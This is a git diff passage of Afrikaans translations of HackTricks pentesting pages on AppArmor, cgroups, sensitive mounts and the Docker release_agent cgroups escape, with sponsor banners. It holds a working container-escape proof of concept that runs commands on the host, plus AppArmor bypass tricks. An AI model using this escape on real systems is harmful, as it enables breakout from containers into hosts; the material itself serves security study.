Let daarop dat standaard in 'n geskepte profiel niks toegelaat word nie, so alles word ontken. Jy sal reëls soos `/etc/passwd r,` moet byvoeg om die binêre lees van `/etc/passwd` byvoorbeeld toe te laat.
{% endhint %}
Jy kan dan die nuwe profiel **afdwing** met
@ -149,12 +150,12 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## Logboeke
Voorbeeld van **AUDIT** en **DENIED** logboeke van _/var/log/audit/audit.log_ van die uitvoerbare **`service_bin`**:
Voorbeeld van **AUDIT** en **DENIED** logboeke vanaf _/var/log/audit/audit.log_ van die uitvoerbare **`service_bin`**:
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```
Jy kan ook hierdie inligting kry deur gebruik te maak van:
Jy kan ook hierdie inligting kry deur:
```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
@ -194,19 +195,19 @@ Standaard word die **Apparmor docker-standaardprofiel** gegenereer vanaf [https:
**Docker-standaardprofiel Opsomming**:
* **Toegang** tot alle **netwerke**
* Geen **vermoë** is gedefinieer (Tog sal sommige vermoëns kom vanaf die insluiting van basiese basisreëls d.w.s. #include \<abstractions/base>)
* **Skryf** na enige **/proc** lêer is **nie toegelaat**
* Ander **subdossiers**/**lêers** van /**proc** en /**sys** word **ontsê** lees/skryf/slot/skakel/uitvoer toegang
* **Monteer** is **nie toegelaat**
* **Ptrace** kan slegs uitgevoer word op 'n proses wat beperk word deur dieselfde **apparmor-profiel**
- **Toegang** tot alle **netwerke**
- Geen **vermoë** is gedefinieer (Tog sal sommige vermoëns kom vanaf die insluiting van basiese basisreëls d.w.s. #include \<abstractions/base>)
- **Skryf** na enige **/proc** lêer is **nie toegelaat**
- Ander **subdossiers**/**lêers** van /**proc** en /**sys** word **ontsê** lees/skryf/slot/skakel/uitvoer toegang
- **Monteer** is **nie toegelaat**
- **Ptrace** kan slegs uitgevoer word op 'n proses wat beperk word deur dieselfde **apparmor-profiel**
Sodra jy 'n **docker houer uitvoer**, behoort jy die volgende uitset te sien:
```bash
1 processes are in enforce mode.
docker-default (825)
```
Merk op dat **apparmor selfs bevoegdhede-voorregte sal blokkeer** wat standaard aan die houer toegeken is. Byvoorbeeld, dit sal in staat wees om **toestemming om binne /proc te skryf te blokkeer selfs as die SYS\_ADMIN bevoegdheid toegeken is** omdat die standaard docker apparmor profiel hierdie toegang ontken:
Merk op dat **apparmor selfs bevoegdhede-privileges sal blokkeer** wat standaard aan die houer toegeken is. Byvoorbeeld, dit sal in staat wees om **toestemming om binne /proc te skryf te blokkeer selfs as die SYS\_ADMIN bevoegdheid toegeken is** omdat die standaard docker apparmor profiel hierdie toegang ontken:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
@ -220,12 +221,12 @@ Merk op dat **AppArmor** standaard ook **die houer verbied om** van binne af vol
Merk op dat jy **vermoëns kan byvoeg/verwyder** aan die docker-houer (dit sal steeds beperk word deur beskermingsmetodes soos **AppArmor** en **Seccomp**):
- `--cap-add=SYS_ADMIN` gee `SYS_ADMIN` vermoë
- `--cap-add=ALL` gee alle vermoëns
- `--cap-drop=ALL --cap-add=SYS_PTRACE` laat alle vermoëns val en gee slegs `SYS_PTRACE`
* `--cap-add=SYS_ADMIN` gee `SYS_ADMIN` vermoë
* `--cap-add=ALL` gee alle vermoëns
* `--cap-drop=ALL --cap-add=SYS_PTRACE` laat alle vermoëns val en gee slegs `SYS_PTRACE`
{% hint style="info" %}
Gewoonlik, wanneer jy **vind** dat jy 'n **bevoorregte vermoë** beskikbaar het **binne** 'n **docker**-houer **maar** 'n deel van die **exploit nie werk nie**, sal dit wees omdat docker **apparmor dit voorkom**.
Gewoonlik, wanneer jy **vind** dat jy 'n **bevoorregte vermoë** beskikbaar **binne** 'n **docker**-houer **maar** 'n deel van die **uitbuiting nie werk nie**, sal dit wees omdat docker **apparmor dit voorkom**.
{% endhint %}
### Voorbeeld
@ -245,14 +246,14 @@ Om die profiele te lys, kan ons die volgende bevel uitvoer. Die bevel hieronder
$ sudo apparmor_status | grep mydocker
mydocker
```
Soos hieronder getoon, kry ons 'n fout wanneer ons probeer om "/etc/" te verander omdat die AppArmor-profiel skryftoegang tot "/etc" voorkom.
Soos hieronder getoon, kry ons 'n fout wanneer ons probeer om "/etc/" te verander aangesien die AppArmor-profiel skryftoegang tot "/etc" voorkom.
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### AppArmor Docker Omgang1
Jy kan vind watter **apparmor profiel 'n houer laat loop** deur die volgende te gebruik:
Jy kan vind watter **apparmor profiel 'n houer** hardloop deur gebruik te maak van:
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
@ -262,15 +263,13 @@ Dan kan jy die volgende lyn hardloop om **die presiese profiel wat gebruik word
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
In die vreemde geval jy kan **die apparmor docker profiel wysig en herlaai.** Jy kan die beperkings verwyder en dit "omseil".
### AppArmor Docker Omskip2
### AppArmor Docker Omseiling2
**AppArmor is pad-gebaseer**, dit beteken dat selfs al mag dit dalk **beskerm** lêers binne 'n gids soos **`/proc`** as jy kan **konfigureer hoe die houer uitgevoer gaan word**, kan jy die proc-gids van die gasheer binne **`/host/proc`** **aankoppel** en dit **sal nie meer deur AppArmor beskerm word nie**.
**AppArmor is pad-gebaseer**, dit beteken selfs al mag dit dalk **lêers binne 'n gids soos** **`/proc`** beskerm, as jy **kan konfigureer hoe die houer gaan loop**, kan jy **die proc-gids van die gasheer binne** **`/host/proc`** koppel en dit **sal nie meer deur AppArmor beskerm word nie**.
### AppArmor Shebang Omskip
### AppArmor Shebang Omseiling
In [**hierdie fout**](https://bugs.launchpad.net/apparmor/+bug/1911431) kan jy 'n voorbeeld sien van hoe **selfs al voorkom jy dat perl met sekere hulpbronne uitgevoer word**, as jy net 'n skulpskripsie skep **wat spesifiseer** in die eerste lyn **`#!/usr/bin/perl`** en jy **voer die lêer direk uit**, sal jy in staat wees om enigiets uit te voer. Byvoorbeeld:
In [**hierdie fout**](https://bugs.launchpad.net/apparmor/+bug/1911431) kan jy 'n voorbeeld sien van hoe **selfs al voorkom jy dat perl met sekere hulpbronne uitgevoer word**, as jy net 'n skalie-skripsie **spesifiseer** in die eerste lyn **`#!/usr/bin/perl`** en jy **voer die lêer direk uit**, sal jy in staat wees om enigiets uit te voer. Byvoorbeeld:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -284,24 +283,25 @@ chmod +x /tmp/test.pl
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** is **gekompromiteer**.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** **gekompromiteer** is.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# CGroups
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
@ -20,7 +21,7 @@ Ander maniere om HackTricks te ondersteun:
Daar is **twee weergawes van cgroups**: weergawe 1 en weergawe 2. Beide kan gelyktydig op 'n stelsel gebruik word. Die primêre onderskeid is dat **cgroups weergawe 2** 'n **hiërargiese, boomagtige struktuur** introduceer, wat meer genuanseerde en gedetailleerde hulpbrugverdeling tussen prosesgroepe moontlik maak. Daarbenewens bring weergawe 2 verskeie verbeterings, insluitend:
Benewens die nuwe hiërargiese organisasie het cgroups weergawe 2 ook **veral ander veranderinge en verbeterings** ingevoer, soos ondersteuning vir **nuwe hulpbrugbeheerders**, beter ondersteuning vir oudtydse toepassings, en verbeterde prestasie.
Benewens die nuwe hiërargiese organisasie het cgroups weergawe 2 ook **verskeie ander veranderinge en verbeterings** ingevoer, soos ondersteuning vir **nuwe hulpbrugbeheerders**, beter ondersteuning vir oudtydse toepassings, en verbeterde prestasie.
Oor die algemeen bied cgroups **weergawe 2 meer kenmerke en beter prestasie** as weergawe 1, maar die laasgenoemde kan steeds in sekere scenario's gebruik word waar verenigbaarheid met ouer stelsels 'n bekommernis is.
@ -41,13 +42,13 @@ $ cat /proc/self/cgroup
```
Die uitvoerstruktuur is as volg:
* **Nommers 212**: cgroups v1, met elke lyn wat 'n verskillende cgroup voorstel. Kontroleerders vir hierdie is aangrensend aan die nommer.
* **Nommers 212**: cgroups v1, waar elke lyn 'n verskillende cgroup voorstel. Kontroleerders vir hierdie is aangrensend aan die nommer.
* **Nommer 1**: Ook cgroups v1, maar slegs vir bestuursdoeleindes (ingestel deur bv. systemd), en ontbreek 'n kontroleerder.
* **Nommer 0**: Verteenwoordig cgroups v2. Geen kontroleerders word gelys nie, en hierdie lyn is eksklusief op stelsels wat slegs cgroups v2 hardloop.
* Die **name is hiërargies**, wat lyk soos lêerpaadjies, wat die struktuur en verhouding tussen verskillende cgroups aandui.
* **Nommer 0**: Stel cgroups v2 voor. Geen kontroleerders word gelys nie, en hierdie lyn is eksklusief op stelsels wat slegs cgroups v2 hardloop.
* Die **name is hiërargies**, lyk soos lêerpaadjies, wat die struktuur en verhouding tussen verskillende cgroups aandui.
* **Name soos /user.slice of /system.slice** dui die kategorisering van cgroups aan, met user.slice tipies vir aanmeldsessies wat deur systemd bestuur word en system.slice vir stelseldienste.
### Sien cgroups
### Besigtiging van cgroups
Die lêersisteem word tipies gebruik vir die toegang tot **cgroups**, wat afwyk van die Unix-stelseloproepkoppelvlak wat tradisioneel gebruik word vir kernelinteraksies. Om 'n skul se cgroup-konfigurasie te ondersoek, moet 'n mens die **/proc/self/cgroup**-lêer ondersoek, wat die skul se cgroup onthul. Daarna, deur te navigeer na die **/sys/fs/cgroup** (of **`/sys/fs/cgroup/unified`**) gids en 'n gids te vind wat die naam van die cgroup deel, kan 'n mens verskeie instellings en hulpbruggebruiksinligting wat relevant is vir die cgroup, waarneem.
@ -65,7 +66,7 @@ Die aanduiding van **max** in 'n waarde dui op die afwesigheid van 'n spesifieke
### Manipulering en Skepping van cgroups
Prosesse word aan cgroups toegewys deur **hul Proses-ID (PID) na die `cgroup.procs`-lêer te skryf**. Dit vereis wortelregte. Byvoorbeeld, om 'n proses by te voeg:
Prosesse word aan cgroups toegewys deur **hul Proses-ID (PID) na die `cgroup.procs`-lêer te skryf**. Dit vereis root-voorregte. Byvoorbeeld, om 'n proses by te voeg:
```bash
echo [pid] > cgroup.procs
```
@ -73,11 +74,11 @@ Op soortgelyke wyse word **die wysiging van cgroup-eienskappe, soos die instelli
```bash
echo 3000 > pids.max
```
**Die skep van nuwe cgroups** behels die maak van 'n nuwe subgids binne die cgroup-hierargie, wat die kernel aanmoedig om outomaties die nodige koppelvlak lêers te genereer. Alhoewel cgroups sonder aktiewe prosesse met `rmdir` verwyder kan word, moet daar bewus wees van sekere beperkings:
**Skep nuwe cgroups** behels die skep van 'n nuwe subgids binne die cgroup-hierargie, wat die kernel aanmoedig om outomaties die nodige koppelvlaklêers te genereer. Alhoewel cgroups sonder aktiewe prosesse met `rmdir` verwyder kan word, moet daar bewus wees van sekere beperkings:
* **Prosesse kan slegs in blaar-cgroups geplaas word** (m.a.w., die mees geneste in 'n hiërargie).
* **'n Cgroup kan nie 'n beheerder besit wat afwesig is in sy ouer nie**.
* **Beheerders vir kind-cgroups moet eksplisiet verklaar word** in die `cgroup.subtree_control` lêer. Byvoorbeeld, om die CPU- en PID-beheerders in 'n kind-cgroup te aktiveer:
- **Prosesse kan slegs in blaar-cgroups geplaas word** (m.a.w., die mees geneste in 'n hiërargie).
- **'n Cgroup kan nie 'n beheerder besit wat afwesig is in sy ouer nie**.
- **Beheerders vir kind-cgroups moet eksplisiet verklaar word** in die `cgroup.subtree_control` lêer. Byvoorbeeld, om die CPU- en PID-beheerders in 'n kind-cgroup te aktiveer:
```bash
echo "+cpu +pids" > cgroup.subtree_control
```

View file

@ -1,26 +1,27 @@
# Docker release\_agent cgroups escape
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromiteer** is deur **steelmalware**.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** is **gekompromiteer**.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteelmalware.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
@ -38,11 +39,11 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Die bewys van konsep (PoC) demonstreer 'n metode om cgroups te misbruik deur 'n `release_agent` lêer te skep en sy aanroeping te trigger om willekeurige bevele op die houer-gashuis uit te voer. Hier is 'n uiteensetting van die stappe wat betrokke is:
Die bewys van konsep (PoC) demonstreer 'n metode om cgroups te benut deur 'n `release_agent` lêer te skep en sy aanroeping te trigger om arbitrêre bevele op die houer-gashuis uit te voer. Hier is 'n uiteensetting van die stappe wat betrokke is:
1. **Berei die Omgewing Voor:**
* 'n Gids `/tmp/cgrp` word geskep om as 'n koppelingspunt vir die cgroup te dien.
* Die RDMA cgroup-beheerder word aan hierdie gids gekoppel. In geval van afwesigheid van die RDMA-beheerder, word dit voorgestel om die `memory` cgroup-beheerder as 'n alternatief te gebruik.
* 'n Gids `/tmp/cgrp` word geskep om as 'n koppelvlakpunt vir die cgroup te dien.
* Die RDMA cgroup-beheerder word aan hierdie gids gekoppel. In geval van afwesigheid van die RDMA-beheerder, word dit voorgestel om die `memory` cgroup-beheerder as 'n alternatief te gebruik.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
@ -54,7 +55,7 @@ echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Stel die Vrystellingsagent in:**
* Die pad van die houer op die gasheer word verkry uit die /etc/mtab-lêer.
* Die release\_agent-lêer van die cgroup word daarna ingestel om 'n skrip genaamd /cmd uit te voer wat op die verkrygte gasheerpad geleë is.
* Die release\_agent-lêer van die cgroup word dan ingestel om 'n skrip genaamd /cmd uit te voer wat op die verkrygte gasheerpad geleë is.
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
@ -67,7 +68,7 @@ echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Lokaliseer die Aanval:**
* 'n Proses word geïnisieer binne die "x" kind cgroup en word onmiddellik beëindig.
* 'n Proses word geïnisieer binne die "x" kind cgroup en word dadelik beëindig.
* Dit lok die `release_agent` (die /cmd-skrip) uit, wat ps aux op die gasheer uitvoer en die uitset na /uitset binne die houer skryf.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
@ -76,24 +77,25 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** is **gekompromiteer**.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** gekompromitteer is.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en afpersingsaanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Sensitiewe Monteerplekke
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Die blootstelling van `/proc` en `/sys` sonder behoorlike naamsruimte-isolasie stel beduidende sekuriteitsrisiko's bloot, insluitend aanvalsoppervlakvergroting en inligtingsoffergawe. Hierdie gids bevat sensitiewe lêers wat, indien verkeerd geconfigureer of deur 'n ongemagtigde gebruiker benader, kan lei tot kontainerontsnapping, gasverandering of inligting voorsien wat verdere aanvalle kan ondersteun. Byvoorbeeld, die verkeerd monter van `-v /proc:/host/proc` kan AppArmor-beskerming omseil as gevolg van sy padgebaseerde aard, wat `/host/proc` onbeskerm agterlaat.
Die blootstelling van `/proc` en `/sys` sonder behoorlike naamsruimte-isolasie stel aansienlike sekuriteitsrisiko's in, insluitend aanvalsvlakvergroting en inligtingsoffening. Hierdie gids bevat sensitiewe lêers wat, indien verkeerd gekonfigureer of deur 'n ongemagtigde gebruiker benader, kan lei tot die ontsnapping van die houer, aanpassing van die gasheer, of inligting kan verskaf wat verdere aanvalle kan ondersteun. Byvoorbeeld, die verkeerde montering van `-v /proc:/host/proc` kan AppArmor-beskerming omseil as gevolg van sy padgebaseerde aard, wat `/host/proc` onbeskerm agterlaat.
**Jy kan verdere besonderhede van elke potensiële kwesbaarheid vind in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
**Verdere besonderhede oor elke potensiële kwesbaarheid kan gevind word in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
